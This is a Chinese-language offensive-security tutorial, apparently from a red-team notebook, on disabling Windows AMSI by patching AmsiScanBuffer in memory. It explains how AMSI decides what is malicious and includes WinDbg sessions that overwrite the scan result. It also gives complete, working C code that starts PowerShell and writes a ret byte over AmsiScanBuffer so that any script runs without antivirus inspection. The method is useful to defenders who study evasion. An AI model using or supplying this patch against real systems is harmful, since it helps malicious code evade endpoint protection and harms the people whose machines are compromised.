# 基于内存补丁的AMSI绕过

## AMSI简介

AMSI的全称是反恶意软件扫描接口（Anti-Malware Scan Interface），是从Windows 10开始引入的一种机制。AMSI是应用程序和服务能够使用的一种接口，程序和服务可以将“数据”发送到安装在系统上的反恶意软件服务（如Windows Defender）。

服务和应用程序可以通过AMSI来与系统中已安装的反恶意软件通信。为了完成该任务，AMSI采用了hook方法。比如，AMSI会hook WSH（Windows Scripting Host）及PowerShell来去混淆并分析正在执行的代码内容。这些内容会被“捕获”，并在执行之前发送给反恶意软件解决方案。

在Windows 10上，实现AMSI的所有组件如下所示：

* UAC（用户账户控制），安装EXE、COM、MSI或者ActiveX时提升权限
* PowerShell（脚本、交互式使用以及动态代码执行）
* Windows Script Host（`wscript.exe`或者`cscript.exe`）
* JavaScript以及VBScript
* Office VBA宏

AMSI整体架构如下图所示：

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M6c67vjUE1EsiAZXIkp%2F-M6c7mRlMVvopF4LZGQd%2Fimage.png?alt=media\&token=dc40f1ad-7817-4c69-8a9a-1a98471ad4a6)

简单的说AMSI就是这玩意:

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M6c7tgn24tc-TI-__pf%2F-M6c8YzXQpgPuHzkApaT%2Fimage.png?alt=media\&token=82274f08-1425-42e5-bb07-fc539cd4b433)

## 技术原理&流程

根据前人的研究，我们知道字符串是否敏感是由amsi.dll中的AmsiScanBuffer函数来进行判断的，而内存补丁是一种较为便捷的技术，我们可以对这个函数进行修补，使其丧失判断能力，这样我们就能自由执行任意powershell脚本，当然前提是脚本文件没有被杀软干掉。

实现方式有很多种，如注入一个内存修补功能的dll、获取amsiscanbuffer函数地址使用winapi进行修补。

这里我们使用获取函数地址对其进行修补，流程如下：

1. 创建一个powershell进程
2. 获取amsiscanbuffer函数地址
3. 修改函数内存空间属性
4. 修补函数执行体

前面文章有阐述过目前windows不同进程加载同一个系统模块的地址是一致的，所以我们可以使用本地加载dll获取对应函数地址去修补其他进程的该函数。

> 根据微软官方文档，`AmsiScanBuffer`函数应该返回`HRESULT`类型值，这是一个整数值，用来表示操作是否成功。在我们的例子中，如果该函数成功，那么就应当返回`S_OK`（`0x00000000`），否则应该返回`HRESULT`错误代码。
>
> 这个函数的主要功能是返回需要扫描的内容是否存在问题，这也是`result`变量会作为参数传递给`AmsiScanBuffer`函数的原因所在。这个变量的类型为`AMSI_RESULT`枚举类型。
>
> 对应的枚举原型如下所示：
>
> ```
> typedef enum AMSI_RESULT {
>     AMSI_RESULT_CLEAN,
>     AMSI_RESULT_NOT_DETECTED,
>     AMSI_RESULT_BLOCKED_BY_ADMIN_START,
>     AMSI_RESULT_BLOCKED_BY_ADMIN_END,
>     AMSI_RESULT_DETECTED
> };
> ```
>
> 在函数执行过程中，待分析的内容会被发送到反恶意软件服务，后者会返回`1`到`32762`（含）之间的一个整数。整数值越大，则代表风险越高。如果证书大于或等于`32762`，那么就会将其判断为恶意数据，加以阻止。随后系统会根据返回的整数值来更新`AMSI_RESULT`变量值。
>
> 默认情况下，该变量处于“正常”（“无害”）值状态，因此，如果我们修改了函数指令，使其永远不会将待分析的内容发送给反恶意软件服务，并且返回`S_OK` `HRESULT`结果值，那么这些内容就会被当成无害数据。
>
> 在汇编语言中，`EAX`（32位）以及`RAX`（64位）寄存器始终包含函数的返回值。因此，如果`EAX`/`RAX`寄存器值等于0，并且如果执行了`ret`汇编指令，那么该函数就会返回`S_OK` `HRSULT`，不会将待分析数据发送给反恶意软件服务。

~~事实上对于字符串的拦截工作是在AmsiScanBuffer函数内完成的,并非在AmsiScanBuffer返回后由其他函数拦截，这也解释了为什么我们直接ret也能绕过AMSI(此时RAX内存放着AmsiScanBuffer的地址，无论如何也远大于32762)。~~

这里写的有问题，今天自己去调了一下，返回值 实际上是保存在堆栈对齐后的\[rsp+28]的位置。

检讨一下这里确实主观臆测了。

现在我们测一下......

首先在AmsiScanBuffer下一个断点。

```
0:029> bm Amsi!AmsiScanBuffer
SYMSRV:  BYINDEX: 0x3
         c:\symbols*http://msdl.microsoft.com/download/symbols
         Amsi.pdb
         C010A935E7681F4F58B28C6AA852B23A1
SYMSRV:  PATH: c:\symbols\Amsi.pdb\C010A935E7681F4F58B28C6AA852B23A1\Amsi.pdb
SYMSRV:  RESULT: 0x00000000
DBGHELP: amsi - public symbols  
        c:\symbols\Amsi.pdb\C010A935E7681F4F58B28C6AA852B23A1\Amsi.pdb
  1: 00007ffb`56bd2710 @!"amsi!AmsiScanBuffer"
```

断下来的时候查看一下rdx(第二个参数);

```
0:004> g
Breakpoint 1 hit
amsi!AmsiScanBuffer:
00007ffb`56bd2710 4c8bdc          mov     r11,rsp
0:025> db rdx
000002d6`892c3984  22 00 41 00 6d 00 73 00-69 00 53 00 63 00 61 00  ".A.m.s.i.S.c.a.
000002d6`892c3994  6e 00 42 00 75 00 66 00-66 00 65 00 72 00 22 00  n.B.u.f.f.e.r.".
000002d6`892c39a4  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
```

使用pt命令执行到该函数的ret，单步执行跳出函数平衡堆栈，然后去查看rsp+28(第六个参数)。

```
0:025> dq rsp+28
000000fb`169ce328  000000fb`169ce418 00004cd9`c14878ba
000000fb`169ce338  00007ffb`307da9f0 000000fb`169cec40
000000fb`169ce348  00007ffa`fde3e510 00007ffa`fde3e510
000000fb`169ce358  000000fb`169ce300 00007ffa`fe8d75c7
000000fb`169ce368  000000fb`169ce3c0 00007ffa`fde3e510
000000fb`169ce378  000000fb`169ce418 000002d6`88b61420
000000fb`169ce388  00000000`00000009 000002d6`892c3978
000000fb`169ce398  000002d6`88b61420 000002d6`88be2290
```

由于是第六个参数是保存在堆栈的，同时传入的是一个指向AMSI\_RESULT结构体(枚举类型)的指针，所以我们需要去查看一下指针指向的值。

> ```
> 0:025> dq 000000fb`169ce418
> 000000fb`169ce418  00000000`00008000 00000000`00000000
> 000000fb`169ce428  00000000`00000001 000002d6`892c7a30
> 000000fb`169ce438  000002d6`892c7f00 000002d6`892c7af0
> 000000fb`169ce448  000002d6`892c7fc8 000002d6`892c3978
> 000000fb`169ce458  00007ffa`fea6b645 00007ffa`ff42eb28
> 000000fb`169ce468  00007ffb`3003f4b3 000002d6`a0b99690
> 000000fb`169ce478  00007ffb`2d28b58e 00000000`ffffffff
> 000000fb`169ce488  000002d6`98b69ac0 00000000`00000000
> ```

可以看到保存到值是0x8000，也就是十进制的32768，这时我们修改掉他的值。

```
0:025> f 000000fb`169ce418 l8 0
Filled 0x8 bytes
0:025> dq 000000fb`169ce418
000000fb`169ce418  00000000`00000000 00000000`00000000
000000fb`169ce428  00000000`00000001 000002d6`892c7a30
```

继续运行。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MDY2Wip4uoNwfoGfvKj%2F-MDY4C-ydwWXetikcoPu%2Fimage.png?alt=media\&token=d86f1fa9-e846-4cdc-bc89-3805936e6371)

## 手工操作

创建一个powershell进程

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M6cAqY56uekKbUsSoo3%2F-M6cC3HueoK6ugyecsI6%2Fimage.png?alt=media\&token=6dab03c6-ac6c-4b89-9bac-d3d07b907e22)

调试器附加并定位AmsiScanBuffer函数

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M6cAqY56uekKbUsSoo3%2F-M6cCRS0yLkiYW-bVSWC%2Fimage.png?alt=media\&token=f7669fa5-f5c2-4888-b633-553d549ba3cf)

修补该函数使其直接返回(具体细节大家可以使用ida和x64dbg跟一下)。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M6cAqY56uekKbUsSoo3%2F-M6cCXnqqAAaCvrxNIdt%2Fimage.png?alt=media\&token=55bd94a0-db2a-4ff6-be01-18d716311781)

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M6cAqY56uekKbUsSoo3%2F-M6cCkGfgd4K_1XQSJIx%2Fimage.png?alt=media\&token=2573c57e-e2ba-4ee1-931c-1ac9d95d2dfe)

绕过AMSI。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M6cAqY56uekKbUsSoo3%2F-M6cCtoePuNo_IWTKFnf%2Fimage.png?alt=media\&token=4cd9f052-a11c-4278-85a7-1d099af469a9)

## 代码实现

由于powershell版的内存补丁绕过在互联网上到处都是，且有被标黑，这里就不贴出来了(好吧其实是我懒)，这里我们其实也有多种实现思路，可以查找运行中的powershell.exe进程来进行修补，也可以自己创建一个新的powershell进程进行修补，这里采用新创建的powershell进行修补。

```
#include <Windows.h>
#include <stdio.h>

int main() {
	STARTUPINFOA si = {0};
	PROCESS_INFORMATION pi = { 0 };
	si.cb = sizeof(si);

	CreateProcessA(NULL, (LPSTR)"powershell -NoExit dir", NULL, NULL, NULL, NULL, NULL, NULL, &si, &pi);

	HMODULE hAmsi = LoadLibraryA("amsi.dll");
	LPVOID pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");

	Sleep(500);

	DWORD oldProtect;
	char patch = 0xc3;

	VirtualProtectEx(pi.hProcess, (LPVOID)pAmsiScanBuffer, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
	WriteProcessMemory(pi.hProcess, (LPVOID)pAmsiScanBuffer, &patch, sizeof(char),NULL);
	VirtualProtectEx(pi.hProcess, (LPVOID)pAmsiScanBuffer, 1, oldProtect, NULL);
	CloseHandle(pi.hProcess);
	CloseHandle(pi.hThread);
	FreeLibrary(hAmsi);
	return 0;
}
```

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M9pXEDh2OWKtTjt5Vjr%2F-M9pXaA6qQ9NowuQ69B4%2Fimage.png?alt=media\&token=f41dad30-e1fc-46ff-9e64-7b94e31f0dbf)

## LINKS

{% embed url="<https://www.contextis.com/en/blog/amsi-bypass>" %}

{% embed url="<https://www.anquanke.com/post/id/168210>" %}

{% embed url="<https://0x00-0x00.github.io/research/2018/10/28/How-to-bypass-AMSI-and-Execute-ANY-malicious-powershell-code.html>" %}

{% embed url="<https://www.anquanke.com/post/id/180281>" %}
